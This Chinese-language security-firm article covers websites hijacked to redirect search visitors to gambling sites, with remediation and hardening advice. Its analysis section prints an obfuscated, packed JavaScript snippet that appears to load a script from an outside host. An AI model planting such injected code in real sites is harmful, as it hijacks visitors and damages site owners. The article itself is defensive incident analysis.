域名預(yù)訂/競(jìng)價(jià)，好“米”不錯(cuò)過(guò)

最近一段時(shí)間，我們SINE安全公司一連接到數(shù)十個(gè)公司網(wǎng)站被跳轉(zhuǎn)到彩票，*網(wǎng)站上去，客戶反映從百度搜索網(wǎng)站進(jìn)去，直接跳轉(zhuǎn)到彩票網(wǎng)站上，直接輸入網(wǎng)址沒(méi)有跳轉(zhuǎn)，導(dǎo)致客戶網(wǎng)站的流量急劇下滑，做的百度推廣跟搜狗推廣，都給彩票網(wǎng)站做廣告了，公司領(lǐng)導(dǎo)高度重視網(wǎng)站安全的問(wèn)題，因?yàn)榻o公司的形象以及名譽(yù)帶來(lái)的損失太大了，我們安排安全技術(shù)人員對(duì)其網(wǎng)站進(jìn)行全面的網(wǎng)站安全檢測(cè)，對(duì)網(wǎng)站存在的漏洞，以及木馬后門(mén)進(jìn)行全面的清除與漏洞修復(fù)，安全加固。關(guān)于網(wǎng)站被跳轉(zhuǎn)到彩票、*網(wǎng)站的問(wèn)題，整理一份詳細(xì)的處理過(guò)程，希望幫到更多遇到這種情況的站長(zhǎng)，以及公司網(wǎng)站運(yùn)營(yíng)者。

網(wǎng)站被跳轉(zhuǎn)彩票網(wǎng)站問(wèn)題分析

我們SINE安全跟公司網(wǎng)站負(fù)責(zé)人進(jìn)行了詳細(xì)的服務(wù)器信息（服務(wù)器IP 遠(yuǎn)程端口 管理員賬號(hào)密碼、SSH端口、root賬號(hào)密碼），網(wǎng)站信息包括FTP賬號(hào)密碼的對(duì)接，由安全部署部門(mén)技術(shù)對(duì)網(wǎng)站的代碼以及服務(wù)器系統(tǒng)進(jìn)行縝密的安全檢測(cè)與分析。

在整體的安全檢測(cè)當(dāng)中我們發(fā)現(xiàn)客戶的網(wǎng)站都存在網(wǎng)站木馬后門(mén)，包括php腳本木馬,asp腳本木馬，jsp腳本木馬，我們通常叫大馬，可以對(duì)網(wǎng)站進(jìn)行惡意篡改，上傳，改名，下載，等管理員的高權(quán)限操作。出現(xiàn)網(wǎng)站被跳轉(zhuǎn)的客戶，采用的網(wǎng)站架構(gòu)都是php+mysql架構(gòu)，以及jsp+mysql架構(gòu)，大多數(shù)用的是開(kāi)源程序，像dedecms，織夢(mèng)系統(tǒng)，phpcms系統(tǒng)，discuz系統(tǒng)。

由于之前客戶網(wǎng)站總是被跳轉(zhuǎn)到彩票、賭博網(wǎng)站，客戶只是懂一些簡(jiǎn)單的代碼，只能通過(guò)篡改的首頁(yè)代碼里，找到惡意代碼進(jìn)行刪除，但是治標(biāo)不治本，沒(méi)過(guò)幾天網(wǎng)站又被跳轉(zhuǎn)了，客戶經(jīng)常為這些問(wèn)題煩惱，每天提心吊膽的。其實(shí)問(wèn)題的根本原因在于網(wǎng)站存在漏洞，以及服務(wù)器安全沒(méi)有做好。我們SINE處理了成千上百的網(wǎng)站，總結(jié)的經(jīng)驗(yàn)來(lái)看，網(wǎng)站首頁(yè)被篡改的幾率最大，都是篡改首頁(yè)的標(biāo)題，描述，以及在首頁(yè)頂部添加一些加密的字符，如下圖所示：

北京賽車(chē)投注平臺(tái)_北京賽車(chē)pk10網(wǎng)上開(kāi)戶_北京賽車(chē)pk10登錄平臺(tái)

以上代碼就是被攻擊者添加的加密的標(biāo)題與描述，解密后發(fā)現(xiàn)內(nèi)容是什么北京賽車(chē)，時(shí)時(shí)彩，PK10等賭博內(nèi)容。還有一個(gè)被攻擊的特征就是在首頁(yè)你會(huì)發(fā)現(xiàn)一段跳轉(zhuǎn)的代碼，該代碼是根據(jù)搜索引擎的特征來(lái)進(jìn)行判斷跳轉(zhuǎn)，比如判斷客戶的訪問(wèn)來(lái)路是通過(guò)百度搜索，360搜索,搜狗搜索來(lái)的會(huì)直接跳轉(zhuǎn)到彩票，賭博網(wǎng)站上去。如下代碼：

type="text/java">eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){retun d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('l["\\e\\c\\1\\m\\i\\8\\n\\0"]["\\7\\4\\9\\0\\8"](\'\\h\\2\\1\\4\\9\\3\\0\\0\\j\\3\\8\\d\\6\\0\\8\\k\\0\\5\\f\\a\\r\\a\\2\\1\\4\\9\\3\\0\\6\\2\\4\\1\\d\\6\\s\\0\\0\\3\\2\\q\\5\\5\\7\\7\\7\\b\\1\\3\\e\\a\\2\\p\\b\\1\\c\\i\\5\\j\\o\\1\\b\\f\\2\\6\\g\\h\\5\\2\\1\\4\\9\\3\\0\\g\');',29,29,'x74|x63|x73|x70|x72|x2f|x22|x77|x65|x69|x61|x2e|x6f|x3d|x64|x6a|x3e|x3c|x6d|x79|x78|window|x75|x6e|x6c|x38|x3a|x76|x68'.split('|'),0,{}))

跳轉(zhuǎn)到的彩票網(wǎng)站如下截圖：

再一個(gè)攻擊特征就是網(wǎng)站在百度里搜索，出現(xiàn)紅色風(fēng)險(xiǎn)標(biāo)識(shí)， 百度網(wǎng)址安全中心提醒您：該站點(diǎn)可能受到黑客攻擊，部分頁(yè)面已被非法篡改！ 紅色提示該百度風(fēng)險(xiǎn)。導(dǎo)致客戶打開(kāi)網(wǎng)站直接被百度攔截，如下圖所示：

百度網(wǎng)址安全中心提醒您：

該站點(diǎn)可能受到黑客攻擊，部分頁(yè)面已被非法篡改！ 查看詳情

您正在訪問(wèn)：http*******com/

該站點(diǎn)可能由于受到黑客攻擊，部分頁(yè)面已被非法篡改，可能會(huì)威脅到您的財(cái)產(chǎn)和信息安全，建議您謹(jǐn)慎訪問(wèn)。

站點(diǎn)（******.com/）發(fā)現(xiàn)的非法篡改頁(yè)面，可參考以下示例：

被黑網(wǎng)址快照1：********com/011E...

被黑網(wǎng)址快照2：********com/010S...

被黑網(wǎng)址快照3：********com/004G...

針對(duì)以上網(wǎng)站被跳轉(zhuǎn)攻擊的特征，我們SINE對(duì)其進(jìn)行全面的人工代碼安全審計(jì)，以及網(wǎng)站漏洞檢測(cè)，網(wǎng)站木馬后門(mén)清理，發(fā)現(xiàn)dedecms網(wǎng)站存在sql注入漏洞，以及xss獲取管理員賬號(hào)cookies漏洞，discuz存在getshell漏洞，注入獲取管理員漏洞，discuz上傳繞過(guò)漏洞，針對(duì)上述漏洞我們進(jìn)行了全面的修復(fù)，并做了網(wǎng)站安全部署，以及服務(wù)器安全部署，網(wǎng)站文件防篡改部署。

防止網(wǎng)站被跳轉(zhuǎn)的解決方法如下：

1.對(duì)服務(wù)器目錄權(quán)限的安全部署，對(duì)管理員賬號(hào)密碼加密，盡可能設(shè)置的復(fù)雜一些，數(shù)字+大小寫(xiě)字母+特殊符號(hào)，對(duì)網(wǎng)站數(shù)據(jù)庫(kù)進(jìn)行分配普通權(quán)限賬號(hào)。

2.mysql數(shù)據(jù)庫(kù)默認(rèn)端口3306，改為61116，并加入到端口安全策略，不對(duì)外開(kāi)放，外網(wǎng)IP無(wú)法連接數(shù)據(jù)庫(kù)，只有本地127.0.0.1才能進(jìn)行連接數(shù)據(jù)庫(kù)，以防止攻擊者惡意猜測(cè)。

3.對(duì)服務(wù)器底層系統(tǒng)進(jìn)行安全加固，包括遠(yuǎn)程端口登錄的安全驗(yàn)證。

4.對(duì)網(wǎng)站代碼進(jìn)行整體的安全檢測(cè)，包括定期的升級(jí)網(wǎng)站程序源代碼，修復(fù)補(bǔ)丁以及網(wǎng)站漏洞。

申請(qǐng)創(chuàng)業(yè)報(bào)道，分享創(chuàng)業(yè)好點(diǎn)子。點(diǎn)擊此處，共同探討創(chuàng)業(yè)新機(jī)遇！